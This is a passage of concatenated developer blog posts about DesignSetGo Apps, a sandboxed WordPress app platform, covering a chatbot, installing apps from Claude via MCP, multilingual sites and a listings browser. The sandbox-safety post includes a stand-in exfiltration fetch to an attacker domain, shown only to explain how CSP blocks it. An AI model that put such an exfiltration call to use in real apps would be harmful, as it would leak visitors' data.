    system: `You are a helpful assistant for ${site.name}. Be concise and friendly.`,
    messages: history,
    stream: true,
  });

  let assistantMsg = '';
  for await (const chunk of stream) {
    assistantMsg += chunk.delta;
    renderStreaming(assistantMsg);
  }

  history.push({ role: 'assistant', content: assistantMsg });
  renderHistory();

  if (me) {
    await dsgo.storage.user.set('chat_history', history.slice(-50));
  }
}
```

#### Step 2: the manifest

```
{
  "manifest_version": 1,
  "id": "chatbot",
  "name": "Site Chat",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["block", "site-overlay"], "default": "site-overlay" },
  "permissions": {
    "read": ["user", "site"],
    "ai": ["prompt"]
  },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Three things to notice.

`display.modes` includes `"site-overlay"`. That mode renders the app as a fixed-position overlay on every page of the site (or every page that matches a configured rule). It is the right shape for chatbots, cookie consent banners, and announcement bars.

`permissions.read` includes `"user"` and `"site"`. `user` for logged-in identity (so chat persists per-user). `site` for the site name and theme color (so the chat looks like part of the site).

`permissions.ai` includes `"prompt"`. This is the bridge permission that lets the app call `dsgo.ai.prompt()`. Without it, the call returns a permission_denied error. The install dialog will say “This app wants to: send AI prompts (through your site’s configured Connector)” so the user understands what they are approving.

#### Step 3: deploy and test

```
npx designsetgo apps deploy
```

If your site does not already have a Connector configured ([covered in detail in the App secrets post](/blog/app-secrets-the-right-way/)), you will see the chatbot render but every message will fail with “No AI Connector configured.” Set up a Connector under **Settings → Connectors** in wp-admin, paste an API key (Anthropic, OpenAI, or whatever you use), save, and try again.

The chat now works. Type “What do you know about my site?” The model gets the system prompt with your site name and answers. Reload the page (if logged in). The history is restored.

#### Step 4: log conversations as posts

This is the optional but powerful step. Up to here, conversations live in user storage, which is fine for “let the visitor see their history.” For *you* to audit conversations later, log them as posts.

Add to the bundle:

```
async function logConversation(history: typeof history) {
  if (!me) return; // skip for guests, or log under an anonymous user
  await dsgo.posts.create({
    type: 'chat_log',
    title: `Chat from ${me.name} on ${new Date().toISOString().slice(0, 10)}`,
    content: history.map(m => `**${m.role}:** ${m.content}`).join('\n\n'),
    status: 'private',
    meta: { user_id: me.id },
  });
}
```

You’ll need a `chat_log` custom post type registered with CPT UI (or a small theme plugin). Mark it `public: false`, `show_in_rest: true`, `show_in_menu: true` so it shows in wp-admin but not on the front-end.

You’ll also need `permissions.write: ["posts"]` in the manifest, which is a Pro feature (write APIs are not in the free tier; [the write surface is part of the Pro write story](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/wp-7-strategy.md)).

After this, every conversation ends with a logged post you can browse in wp-admin. The data is *yours*. Compliance is your call. Export is `wp db export`. Deletion is `Delete Post`.

#### What this beats

The named alternatives:

**Vendor-hosted chatbots** (Drift, Intercom, Tidio). The conversation lives in their database. Their privacy policy applies. Their billing applies. Their analytics are theirs to share or sell. Each one is a third-party SaaS subscription.

**OpenAI-key chatbots** (most of the “WordPress chatbot plugin” results). The plugin holds your key. The key is in `wp_options` (sometimes encrypted, sometimes not). If the plugin gets compromised, the key gets exfiltrated. The plugin author has to manage commercial terms with OpenAI.

**ChatGPT custom GPT embeds.** Iframe to ChatGPT. Free, but the conversation is OpenAI’s, not yours. Your visitors’ chat is in OpenAI’s logs.

The DesignSetGo version: the Connector is on your WordPress install. The model your site uses is your choice. The conversation lives in your database. The visitor’s data does not leave your domain except for the inference round-trip to whichever model the Connector is configured for, and that round-trip is governed by your contract with the model provider, not by a third party’s terms.

#### What this does not solve

A chatbot is a UX problem as much as a technical problem. The above gives you a working chatbot. It does not give you:

- A knowledge base for the bot to draw from. For that, you need retrieval (RAG) against your site content. The bridge gives you `dsgo.posts.list()` and `dsgo.ai.prompt()`; combining them into a RAG pipeline is doable and is a [separate tutorial worth writing](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md).

- A handoff to a human. The chatbot replies; if the visitor needs a human, you should have a clear escalation path. The simplest is a “Talk to a human” button that opens an email composer or a contact form.

- Rate limiting. The bridge inherits the Connector’s rate limits. If you expect heavy use, watch the [30k ITPM cliff](/blog/the-30k-itpm-cliff-wordpress-7-ai-connector/) post for the Anthropic-specific gotchas.

#### The shorter version

A DesignSetGo App with `dsgo.ai.prompt()` plus the Connector your site is already configured for plus `dsgo.storage.user.*` plus an optional `chat_log` CPT gives you a chatbot whose data lives in your database. No third-party SaaS, no API key in your plugin, no vendor analytics on your visitors.

About 90 lines of code, an afternoon to ship, the conversation stays yours.

#### Further reading

- [App secrets, the right way](/blog/app-secrets-the-right-way/): why the Connector model is the safe default.

- [Build an AI content companion](/blog/build-an-ai-content-companion/): an app that also uses `dsgo.ai.prompt()` and `dsgo.posts.list()` together.

- [The 30k ITPM cliff](/blog/the-30k-itpm-cliff-wordpress-7-ai-connector/): rate-limit considerations for AI calls at scale.

### Build a DesignSetGo app from inside Claude.ai: the Connector walkthrough

URL: https://designsetgo.dev/blog/build-a-designsetgo-app-from-claude-ai/
Published: 2026-06-17 · Nealey

[The May 15 post](/blog/connect-claude-desktop-to-wordpress-with-mcp-and-application-passwords/) walked the *read* surface: Claude Desktop talking to your WordPress site over MCP, listing posts, checking the current user, browsing apps that are already installed. That setup gave Claude eyes into the site.

This post is the *write* surface. With DesignSetGo Apps Pro and a Connector configured in Claude.ai or Claude Desktop, you can ask Claude to *build* a new app, the harness writes it, the Connector installs it on your site, and you can preview the result without ever opening wp-admin or a terminal.

It is the shortest path from “I want a thing on my site” to “the thing is on my site.” Three minutes the first time you do it.

#### What you need

Three things:

- **A WordPress site with DesignSetGo Apps Pro installed.** Pro is what exposes the `dsgo/generate-app` and `dsgo/install-app` abilities to the MCP adapter. The free tier exposes only the read-side abilities ([covered in detail in the May 15 post](/blog/connect-claude-desktop-to-wordpress-with-mcp-and-application-passwords/)).

- **The WordPress MCP Adapter installed and configured.** This is a separate WordPress plugin maintained by the MCP community; install it from the plugin directory and configure it per the README. It is what bridges MCP requests to WordPress abilities.

- **Claude.ai (Team or Enterprise tier) or Claude Desktop.** Both support Connectors. The free tier of Claude.ai does not. If you are on the free tier and want to do this, Claude Desktop is the workaround.

#### Step 1: register the site as a Connector

In Claude.ai:

- **Settings → Connectors → Add Connector.**

- **Connector type: MCP server.**

- **URL:** `https://your-wordpress-site.example/wp-json/wp/v2/mcp/discovery` (the standard MCP discovery URL the adapter exposes).

- **Authentication:** WordPress application password. Generate one in **wp-admin → Users → Your Profile → Application Passwords**, name it “Claude Connector,” copy the generated password into the Connector setup.

- **Save.**

Claude.ai pings the discovery URL, lists the available abilities, and adds the Connector to your active connectors list. You can also restrict which abilities the Connector exposes (handy if you want the read-side but not the install-side at first).

In Claude Desktop, the flow is similar but happens in a config JSON file. The May 15 post walks the JSON shape.

#### Step 2: prompt

In a new Claude conversation, with the Connector active, type a prompt that describes the app you want:

> Build a booking form for my consulting site. Show the next five available weekday slots from a hardcoded list of dates in the bundle. The visitor picks a slot, enters their name, email, and project description, then clicks submit. On submit, send me an email with the booking. Render it as a Gutenberg block so I can drop it into the “Work With Me” page. Style it like a clean professional services site.

Claude will:

- Recognize from your prompt that this is a DesignSetGo App build request.

- Call the `dsgo/generate-app` ability on the Connector.

- The DesignSetGo Pro harness runs server-side on your WordPress site: generator writes the bundle, critic reviews it, autofix repairs any flagged issues, validator checks the manifest.

- The result returns to Claude as an “app preview” with the manifest, the file list, and a sandboxed render of the app.

- Claude shows you the preview in the conversation, with a “Looks good? I can install it on your site” prompt.

You review. If the app looks right, you say yes. Claude calls `dsgo/install-app` with the bundle. The site receives the install, runs the standard install dialog server-side (so the permissions are recorded but the dialog is collapsed because *you* approved it through the Connector), and the app is live.

You can also iterate. “Make the slot picker horizontal instead of vertical.” “Add a phone number field.” “Use a darker color scheme.” Each iteration is another harness run; the bundle is regenerated and replaces the preview.

#### Step 3: preview the result

The Connector’s response includes a preview URL. Open it. The app is live on your site at `/apps/booking/` (or wherever you named it). Open your “Work With Me” page in the WordPress editor, add the DesignSetGo Apps block, pick the booking form, save the page. The form is now embedded in the page.

You did this without opening wp-admin until the final embed step. The whole authoring loop happened inside Claude.ai.

#### What the harness is doing

[The harness post](/blog/the-harness-what-makes-ai-generation-trustworthy/) is the canonical reference, but the short version of what happens between your prompt and the installed app:

- **The generator** produces a draft bundle from your prompt, with the system prompt that knows about the bridge API and the manifest format.

- **The critic** reads the draft and flags issues: missing manifest fields, calls to undeclared origins, accessibility problems, suspicious code patterns (a hardcoded API key, a `localStorage` use where `dsgo.storage.user` is the right call).

- **Autofix** runs against the critic’s flags, regenerating the parts of the bundle that failed.

- **The validator** does the final check: the manifest parses, the bundle is well-formed, the declared permissions match what the code actually calls.

- **Only validated bundles** are sent back to the Connector. The validated bundle is what you preview and install.

The harness is also what makes the Connector path safe for site owners. The MCP adapter could, in principle, accept any arbitrary HTML bundle and install it. The harness on the WordPress side runs validation regardless of what the Connector sent, so a malicious or buggy bundle from anywhere upstream gets caught before it hits the site.

#### What the two doors mean

We call this “the two doors” architecture, [covered in the demos list of the messaging brief](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/messaging-brief.md). One door is the CLI (`npx designsetgo apps init`, Claude Code, deploy). The other door is the Connector (Claude.ai, conversation, install). Both doors lead to the same harness, the same install dialog, the same `/apps/{slug}` URL, the same bridge.

Different audiences use different doors. The Claude Code path is for P2 (developers in their terminal). The Connector path is for P1 (site owners in a chat). The fact that both produce the same artifact is the point: the choice of door is a UX choice, not a capability choice.

#### What it does not do (yet)

Three honest limitations.

**Multi-step app authoring.** Some apps are big enough that a single prompt does not produce a working bundle. The Connector path handles iteration (“now add this field,” “now change this color”), but it does not yet handle “start a new conversation, pick up where the previous one left off.” You can open the bundle in Claude Code if you need to iterate over many sessions. The Connector path is best for apps you can get right in one conversation.

**Custom external API access.** If your app needs to call an API the harness has not approved, you would need to declare the origin in the manifest. The Connector path will currently warn and ask you to confirm; the manifest field can be edited in the preview before install. If the API needs an authentication header you do not want Claude to see, you should configure the API as a Connector on the WordPress side and have the app call it through the bridge.

**Production hardening.** A Connector-installed app is a good MVP. For an app that becomes mission-critical, you probably want to drop into the CLI workflow at some point: version-control the bundle, set up CI deploys, add tests. The Connector path is the on-ramp, not the destination.

#### The shorter version

DesignSetGo Apps Pro plus the WordPress MCP Adapter plus a Connector in Claude.ai (Team/Enterprise) or Claude Desktop lets you build, preview, and install an app on your WordPress site without ever opening wp-admin or a terminal. The harness runs server-side regardless of which door you came in through, so the safety story is the same.

If you have not set up the Connector yet, [start with the May 15 walkthrough](/blog/connect-claude-desktop-to-wordpress-with-mcp-and-application-passwords/). It covers the read side, which is the prerequisite for the write side.

#### Further reading

- [The harness: what makes AI generation trustworthy on WordPress](/blog/the-harness-what-makes-ai-generation-trustworthy/): the architectural deep dive.

- [Connect Claude Desktop to WordPress with MCP and application passwords](/blog/connect-claude-desktop-to-wordpress-with-mcp-and-application-passwords/): the read-side prerequisite.

- [docs/messaging-brief.md “Two doors, one app”](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/messaging-brief.md): the strategic framing.

### DesignSetGo and WPML: how multilingual sites read through the bridge

URL: https://designsetgo.dev/blog/designsetgo-and-wpml-multilingual/
Published: 2026-06-16 · Nealey

A real-world agency support ticket from last month:

> “We installed your plugin on a client site running WPML with English, Spanish, and German. When a visitor is on the Spanish version, your app’s listings show English posts. Is this a bug?”

It is not a bug, but the explanation deserves a post of its own because multilingual is the messiest corner of WordPress and the integration question keeps coming up.

This post is the model. How the bridge interacts with WPML, Polylang, and TranslatePress. The three patterns most apps want (show current language, show all translations, let the user switch). And the caveats per plugin.

#### The bridge is language-neutral by default

`dsgo.posts.list()` is a pass-through to WordPress’s `WP_Query` (specifically the REST API’s posts endpoint). It returns whatever WordPress returns for a query with no language scope set.

On a single-language site, that is just “the posts.” On a multilingual site, the behavior depends on the multilingual plugin:

- **WPML**: WPML hooks into `WP_Query` to filter by the *current* language context. The current context is determined by the URL the request came in on. If the request came in on `/es/`, the context is Spanish; queries return Spanish posts. If the request came in on `/`, the context is English (the default); queries return English posts.

- **Polylang**: similar to WPML in mechanism. Hooks `WP_Query` to filter by current language.

- **TranslatePress**: TranslatePress does *not* duplicate posts per language. It translates one canonical post on the fly. So a `dsgo.posts.list()` call always returns the canonical (default-language) posts; the translation happens at render time in the page output.

The agency ticket above turned out to be a CDN caching issue: the `/es/` page was being served from cache with `/` context. WPML and the bridge were behaving correctly; the cache was lying. Once they bypassed cache for the app’s iframe URL, the listings switched to Spanish.

**The default rule**: the bridge respects whatever language context the page came in on. If your app is rendering at `/es/apps/listings/`, the bridge sees the Spanish context. If it is rendering at `/apps/listings/`, English (or whatever the site default is).

#### Pattern 1: show the current language

The most common pattern. The app shows posts in whatever language the visitor is reading.

For WPML and Polylang sites: you get this for free if the URL has the language prefix:

```
const posts = await dsgo.posts.list({ per_page: 10 });
// On /es/apps/listings/, returns Spanish posts.
// On /apps/listings/, returns English posts.
```

For TranslatePress sites: the call returns canonical posts; the translation happens in the rendered HTML. If your app is rendering text into the page from the post content, TranslatePress sees that text on its way to the visitor and translates it. You do not need to do anything special; the integration is transparent.

If you want to be explicit about the current language (for example, to set a `lang` attribute or to render a “currently viewing in Spanish” indicator), call:

```
const site = await dsgo.site.info();
const currentLang = site.current_language;  // 'es', 'en', 'de', etc.
```

The `current_language` field is populated by the bridge from WPML/Polylang context, or from the WordPress site language as a fallback.

#### Pattern 2: show all translations of a post

A “this article is also available in:” widget. List the post’s other-language translations and link to each.

For WPML:

```
const ctx = await dsgo.context.post();
const translations = ctx?.translations ?? [];
// [{ language: 'es', url: '/es/post-slug', title: 'Título en español' }, ...]
```

The bridge surfaces WPML’s translation pairs as `translations` on the post context. The list includes every published translation of the current post (not the canonical one in the current language, which is the post itself).

For Polylang: same shape, also populated.

For TranslatePress: no translations are returned (TranslatePress does not maintain separate posts per language). The widget should hide if `translations` is empty, which it would be on a TranslatePress site.

#### Pattern 3: let the user switch languages

A language picker the visitor uses to switch between WPML/Polylang language variants. The bridge does not handle the routing itself; you render the picker and link to the language URL.

```
const site = await dsgo.site.info();
const langs = site.languages;
// [{ code: 'en', name: 'English', url: '/' }, { code: 'es', name: 'Spanish', url: '/es/' }, ...]

renderPicker(langs);
```

On click, the user navigates to the language URL. The bridge picks up the new context on the next page load. Your app does not need to manage language state across navigations; WordPress and WPML do that.

#### Caveats per plugin

**WPML.** Most-installed multilingual plugin. The bridge’s integration is well-tested against the common cases. Edge case: WPML’s “use language from URL” is the assumed configuration. If the site uses cookies or browser-detection for language switching (the less common “language switcher in header” mode), the bridge sees the cookie context. The behavior is correct but the apparent “current language” can change between two visitors hitting the same URL, which surprises some app authors.

**Polylang.** Very similar to WPML structurally. The translations surface and language switcher work the same way. Polylang’s free tier is more featureful than WPML’s, so it shows up disproportionately on smaller sites. The bridge does not distinguish between them.

**TranslatePress.** A different model entirely. TP does not duplicate posts; it translates on the fly. The bridge returns canonical posts; TP intercepts the rendered HTML and translates it. This means: (a) `translations` is always empty, (b) `current_language` reflects what TP thinks the visitor wants, (c) the actual translated text shows up in the rendered page, not in the bridge response. Your app’s logic should treat TP as a single-language site from the data layer’s perspective; the translation is a presentation concern.

**Other plugins** (Loco, Weglot, etc.). Loco is a string-translation tool for plugin/theme strings, not a content-translation tool; it does not affect the bridge. Weglot is a CDN-based translation overlay; it sits in front of the site and translates everything in the rendered HTML, similar to TP. The bridge does not see Weglot; the integration is transparent and lives entirely in the network layer.

#### The shorter version

The bridge respects whatever language context the page came in on. WPML and Polylang give you per-language post lists for free. TranslatePress is transparent at the data layer and translates at render time. Three patterns cover most apps: show the current language, list translations, render a switcher.

If your app’s multilingual behavior surprises you, the first place to check is the URL the iframe is loading from. The bridge’s context is determined by the iframe URL, not by the parent page URL. Usually they match; on aggressive caching setups they sometimes do not.

#### Further reading

- [BRIDGE-API.md §site.info](/docs/#bridge): the `languages` and `current_language` fields.

- [WPML and the REST API](https://wpml.org/documentation/support/wpml-rest-api/): the canonical WPML docs on the layer the bridge sits on top of.

- [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/): includes the “language switcher” pattern.

### If it breaks, your site is fine: the safety pillar with receipts

URL: https://designsetgo.dev/blog/if-it-breaks-your-site-is-fine/
Published: 2026-06-15 · Nealey

“Sandboxed” is one of those words that does heavy marketing work in the WordPress AI-app ecosystem. Every product that runs JavaScript on a WordPress site claims some form of it. Most of those claims do not hold up under specific scrutiny.

DesignSetGo Apps’ positioning rests on the safety pillar: *if it breaks, your site is fine*. That claim is worth the receipts. This post walks three different “the app misbehaves” scenarios and shows, with the actual mechanisms, what happens to the rest of the site in each case.

If you are evaluating DesignSetGo against another sandboxed-app runtime, take these three scenarios to them. The answers should be specific. Vague answers are the warning.

#### Scenario 1: the app infinite-loops

You install an app. It has a bug. On render, it enters an infinite loop in JavaScript, pegging the CPU at 100% on whichever thread it gets scheduled to.

**What happens:**

The app freezes inside its iframe. The visitor’s browser tab dedicates one CPU thread to the runaway JavaScript. Modern browsers have a “page unresponsive” detector that, after about 15 seconds, prompts the user to kill the page or wait. The user kills the page.

**What does *not* happen:**

The rest of the WordPress site keeps serving requests normally. Other visitors loading the same page (or any other page) are unaffected. Other apps on the site continue to work. The WordPress server-side processes have no idea anything is wrong; the bad code never ran on the server.

**Why:**

The infinite loop runs inside a sandboxed iframe, in the visitor’s browser. The browser’s JavaScript engine isolates one tab’s runaway script from other tabs and from the server entirely. The WordPress server saw exactly one HTTP request (the initial bundle load), responded normally, and forgot the visitor existed.

If the loop happened inside a WordPress plugin (not a DesignSetGo App), the PHP equivalent would consume a PHP-FPM worker for the duration. Enough simultaneous bad-plugin requests and the server runs out of workers and the whole site falls over. The iframe boundary moves the failure from “server-side process exhaustion” to “one browser tab’s problem.”

#### Scenario 2: the app tries to fetch from a disallowed origin

You install an app. After install, it tries to make a `fetch` request to `https://attacker-controlled-domain.example/exfiltrate?data=...`.

**What happens:**

The browser refuses the request and logs a CSP violation to the console:

```
Refused to connect to 'https://attacker-controlled-domain.example/exfiltrate?...'
because it violates the following Content Security Policy directive:
"connect-src 'self' https://your-site.example".
```

The app’s `fetch()` call rejects with a `TypeError`. The exfiltration attempt fails.

**What does *not* happen:**

The data the app was trying to exfiltrate never leaves the browser. The disallowed domain receives no request, sees no headers, does not even know the attempt was made. The runtime logs the violation (if the site has Pro telemetry enabled, [as covered here](/blog/telemetry-that-respects-the-user/)); the site owner can audit the log later.

**Why:**

The Content Security Policy header on the app’s iframe declares `connect-src 'self' [explicitly approved origins]`. The browser enforces this at the network layer. Any fetch to a non-approved origin is refused before the connection opens. The app can write the code; the browser refuses to send it.

This is the [CSP allowlist model](/blog/csp-allowlist-explained/). The `runtime.external_origins` field in the manifest is what gets translated into the CSP. Origins not listed do not get fetched. There is no app-side way around this; CSP is enforced by the browser, not the app.

#### Scenario 3: the app tries to read posts the manifest does not allow

You install an app. Its manifest declares `permissions: { read: ["user"] }`, meaning the app should only have access to the current user’s identity. After install, the app calls `dsgo.posts.list()` trying to read the site’s posts.

**What happens:**

The bridge rejects the call with a `permission_denied` error:

```
Error: permission_denied
This app is not authorized to read posts.
Declared permissions: ["user"]
Requested capability: "posts.list"
```

The app’s `await dsgo.posts.list()` throws. No posts are returned. The app has no way to retry that will succeed.

**What does *not* happen:**

The bridge does not silently return an empty list. It does not return posts the visitor would normally see. It does not return posts marked public. It rejects the call with a clear error that the developer can catch and that the runtime logs.

**Why:**

The bridge is implemented in the WordPress parent window, not in the iframe. Every method call goes from iframe to parent via `postMessage`, and the parent checks the call against the manifest’s declared permissions before doing anything. The app never holds a REST token; it asks the bridge, and the bridge decides.

This is the key architectural choice that separates DesignSetGo from “iframe with a postMessage handler that does whatever the app wants.” The bridge is opinionated about what calls it will execute. The manifest is the contract. The runtime enforces the contract; the app does not get to violate it from inside the iframe.

#### What none of these prevent

This is important. The receipts above are real, but they have boundaries. There are failure modes the sandbox does *not* protect against, and pretending otherwise would be the marketing-versus-reality gap I am trying to close, not widen.

**The sandbox does not protect against UX-level bugs the user is willingly part of.** If the app says “click here to give me your email” and the user types and submits, the app gets the email. The sandbox does not stop the user from giving the app data; it stops the app from taking data the user did not give.

**The sandbox does not protect against the visitor’s already-compromised browser.** If the visitor has malware in their browser, no sandbox can help. The DesignSetGo runtime cannot enforce policies on a browser that has been compromised.

**The sandbox does not protect against WordPress core or theme bugs.** A vulnerability in WordPress core or in the active theme is not in the runtime’s scope. Keep your WordPress and theme updated; the standard WordPress security advice still applies.

**The sandbox does not protect against incompetent app authors stealing data they were given permission to read.** If you grant an app `read: ["user"]`, the app sees the visitor’s email and can phone it home to its own server (if its own server is in `external_origins`). The permission grant is the contract; the sandbox enforces the contract, but the contract itself is what you should read at install time.

The right level of trust: read the permissions list at install. Approve only apps whose author and permission set you are comfortable with. The sandbox makes “I approved this app for X” mean exactly X, no more.

#### Where this leaves us

The three scenarios above are real. The mechanisms are specific: iframe isolation, CSP enforcement, bridge-side permission checks. The combination is what makes the safety claim defensible.

If you want to verify any of them yourself, the [examples/](/examples/) directory has working bundles you can install and poke at. Install one with the dev tools open. Try to do something its manifest does not allow. Watch what happens.

The receipts are the architecture. The architecture is what the marketing claim points at. The two have to match. We are not the only product in this space; the question for any other product making the same claim is “show me the three scenarios and the mechanisms.” If they cannot, the claim is weaker than it sounds.

#### The shorter version

Infinite loops stay in the iframe. CSP blocks disallowed network calls. Permission checks block disallowed bridge calls. None of this protects against you approving an app you should not have approved, but it does mean *approving an app for X gets you X*, no more.

#### Further reading

- [Why we run apps in a sandbox](/blog/why-we-run-apps-in-a-sandbox/): the original architecture post.

- [The CSP allowlist, explained](/blog/csp-allowlist-explained/): the deep dive on the network-side enforcement.

- [Permission buckets: the install dialog that doesn’t lie](/blog/permission-buckets-the-install-dialog-that-doesnt-lie/): the consent surface every install runs through.

### A real-estate listings browser as an inline-mode app

URL: https://designsetgo.dev/blog/real-estate-listings-browser-inline-mode/
Published: 2026-06-14 · Nealey

If you sell real estate on a WordPress site, you have a plugin choice early on. IDX Broker, ShowcaseIDX, RealtyPress, the WPL family. They all do roughly the same thing: own the listing custom post type, own the search UI, own the detail-page template, own the styling. You get a real-estate site in a box, with a per-agent or per-month bill.

That box is great if you are starting from zero and need everything yesterday. It is also a problem after about year two, when you want to redesign the listings page to match the rest of your site. The plugin’s templates are not yours. Overriding them means PHP, ACF, and a maintenance burden.

The DesignSetGo path is the inverse. The plugin you already have keeps doing the data work (the IDX feed, the listing CPT, the daily import). A DesignSetGo App reads from that CPT and renders the *browse experience* in your design system, in inline mode so the result is SEO-indexable like any other page on your site.

This post walks the build. Same wedge as the [mortgage calculator tutorial](/blog/mortgage-calculator-real-estate-wordpress/), wider scope: not one widget, but the whole listings page.

#### What “inline mode” means and why it matters here

DesignSetGo Apps support two isolation modes, [covered in detail in post 02](/blog/iframe-vs-inline-picking-the-right-isolation-mode/). The short version:

- **Iframe mode** (the default): the app renders inside an iframe. Maximum isolation; minimal SEO surface. Search engines see the iframe wrapper, not the app’s content. Good for calculators, configurators, anything where SEO does not matter.

- **Inline mode**: the app renders as server-rendered HTML inside the page, with a per-request CSP. Search engines see the actual content of the app. Good for anything where SEO matters.

A listings browser absolutely needs SEO. People searching “3-bedroom homes in [your city]” find the listings page by *searching*. If the listings are not in the indexable HTML, the page does not rank. The standard real-estate plugins solve this by rendering their listings server-side. The DesignSetGo equivalent is `isolation: "inline"`.

#### Step 1: scaffold

```
npx designsetgo apps init listings-browser
cd listings-browser
```

Open in Claude Code. The prompt:

> Build a real-estate listings browser. Read posts from the `listing` custom post type (or whatever the site’s IDX plugin uses; fall back to `property` if `listing` doesn’t exist). Render them as a grid of cards with featured image, price, bedrooms, bathrooms, square footage, and address. Above the grid, three filter controls: a min-price/max-price slider, a bedrooms multi-select (1+, 2+, 3+, 4+), and a search-by-city text input. Click on a card to open the listing’s permalink. Style it like a modern real-estate site: white background, large photos, clean typography. Inline mode for SEO. Pagination at the bottom, 12 per page.

Claude Code writes the bundle. The shape is roughly:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const params = new URLSearchParams(location.search);
const page = Number(params.get('page') ?? 1);

const listings = await dsgo.posts.list({
  type: 'listing',
  per_page: 12,
  page,
  meta_query: buildMetaQuery(params),  // helper for price/bed filters
  search: params.get('city') ?? undefined,
});

renderCards(listings);
renderPagination(page, listings._total_pages);
```

#### Step 2: the manifest with inline mode

```
{
  "manifest_version": 1,
  "id": "listings-browser",
  "name": "Listings",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "inline",
  "display": {
    "modes": ["page"],
    "page": {
      "wrap": "theme",
      "sitemap": true,
      "title": "Listings | {{site.name}}",
      "meta_description": "Browse our current listings."
    }
  },
  "permissions": { "read": ["posts"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two new fields compared to the iframe-mode examples we have walked so far.

`isolation: "inline"`. The app renders into the page, not into an iframe. The CSP is generated per-request, with the same `external_origins` allowlist semantics as iframe mode, but applied to the page itself.

`display.page`. The inline-mode-specific config. `wrap: "theme"` makes the app render inside your WordPress theme’s header/footer (so the navigation, the site title, the footer are all part of the page). `sitemap: true` adds the page to your site’s XML sitemap. `title` and `meta_description` set the SEO metadata, with `{{site.name}}` resolving to the WordPress site name.

#### Step 3: deploy

```
npx designsetgo apps deploy
```

The page is live at `/apps/listings/` with full theme chrome, indexable HTML, sitemap inclusion, and the right title tag.

Open the page source. The listings markup is there in plain HTML, not just in a JavaScript bundle. Google’s crawler reads what a visitor reads.

Test the page in Google Search Console after a few days. It should be indexable; the URL inspector should show the rendered HTML matching the served HTML.

#### Step 4: route it to the right URL

The default app URL is `/apps/listings/`. Most real-estate sites want `/listings/` (no `/apps/` prefix). Two options.

**Option A: rename the slug.** Change `manifest.id` to something like `properties` and set the slug rewrite (Pro feature, [covered in dynamic routes deep dive](/blog/dynamic-routes-deep-dive/)) to mount at `/properties/`.

**Option B: WordPress page with the block embed.** Create a WordPress page titled “Listings” with slug `listings`. Add a DesignSetGo Apps block. Pick the listings browser. The page is now at `/listings/`, rendered by your theme, with the app inline. This is the path most agents take because it composes with any other content the page already has (an intro paragraph above the listings, a contact CTA below).

#### Step 5: detail pages

A listings browser is the index. Each card links to the listing’s detail page, which is a normal WordPress post (the `listing` CPT post). The standard real-estate plugin renders those with its own template. You probably want to override that template too.

The DesignSetGo path for the detail page is *another inline-mode app*, this time configured with a dynamic route:

```
{
  "id": "listing-detail",
  "isolation": "inline",
  "display": {
    "modes": ["page"],
    "page": {
      "wrap": "theme",
      "dynamic_route": "wp:cpt:listing",
      "title": "{{post.title}} | {{site.name}}",
      "meta_description": "{{post.meta.headline}}"
    }
  },
  "permissions": { "read": ["posts", "post-context"] }
}
```

The `dynamic_route: "wp:cpt:listing"` tells the runtime to mount this app at every `listing` permalink. When a visitor lands on `/listing/123-main-st/`, the runtime resolves the post, passes it to the app via `dsgo.context.post()`, and the app renders the detail layout.

The [dynamic routes deep dive](/blog/dynamic-routes-deep-dive/) is the canonical reference for this pattern. The mental model: one app, many URLs, one per post.

#### What this beats

The IDX plugin’s stock template is generic, often dated, and changes when the plugin updates. Overriding it requires PHP and copying their template into your theme. Two pain points:

- Every plugin update threatens to change the template hooks you depend on.

- The team that knows your design system (your designer or you) does not know PHP. The team that knows PHP (the WordPress freelancer you bring in) does not know your design system.

The DesignSetGo App version is HTML and JavaScript that you (or Claude) wrote. The IDX plugin keeps doing its data work; the rendering is yours. When the plugin updates, your template does not change. When you want to redesign the page, you change your bundle.

#### What you keep using the plugin for

This is important. The DesignSetGo App is not a replacement for the IDX plugin; it is a replacement for the IDX plugin’s *templates*.

The plugin still does:

- The MLS feed integration (the part that costs money to access).

- The daily import of new listings.

- Image management for listing photos.

- Map integration if you use one.

- Lead capture forms tied to MLS rules.

The app does:

- The browse experience (this tutorial).

- The detail page (one more app with a dynamic route).

- Any custom search experience your design system needs.

- Any custom widget (saved searches, mortgage calculator, neighborhood guide).

Composing the two is the wedge. The plugin does the data; you do the experience. Neither is the wrong tool. The mistake was conflating them.

#### The shorter version

Inline mode makes a DesignSetGo App SEO-indexable like a normal page. For surfaces that need SEO (listings, course catalogs, knowledge bases, anything with organic traffic), it is the right isolation choice. The standard real-estate plugin’s templates are the right thing to replace; its MLS integration is not.

#### Further reading

- [Iframe vs inline: picking the right isolation mode](/blog/iframe-vs-inline-picking-the-right-isolation-mode/): the full comparison of the two modes.

- [Dynamic routes deep dive](/blog/dynamic-routes-deep-dive/): the per-post mounting pattern for detail pages.

- [How to add a mortgage calculator to a real-estate WordPress site](/blog/mortgage-calculator-real-estate-wordpress/): the wedge tutorial for the real-estate vertical.

### Three apps every consultant should have on their own site

URL: https://designsetgo.dev/blog/three-apps-every-consultant-should-have/
Published: 2026-06-13 · Nealey

I run designsetgo.dev and I also do a small amount of consulting on the side. Two different audiences, one WordPress install.

For the consulting side, three small interactive surfaces do almost all the lead-qualification work I would otherwise pay a stack of SaaS for. All three are DesignSetGo Apps. All three took an afternoon to build. All three are better, for my purposes, than the equivalent SaaS subscription.

This is the inventory. If you do any kind of consulting work and you have a WordPress site, build these three in priority order.

#### App 1: A booking form (not Calendly)

Calendly is great. It is also $12/mo per user, it sends visitors to a calendly.com URL, and it hands the email collected at booking to a third party.

The DesignSetGo replacement: a small app that reads my calendar availability (via a Connector to Google Calendar or via a manual “next 10 days available slots” list I maintain), renders a slot picker, captures the booker’s email and project description, and emails me the booking. It lives at `/book/` (and as a block I can drop into any “Work With Me” page).

The prompt to Claude Code was roughly:

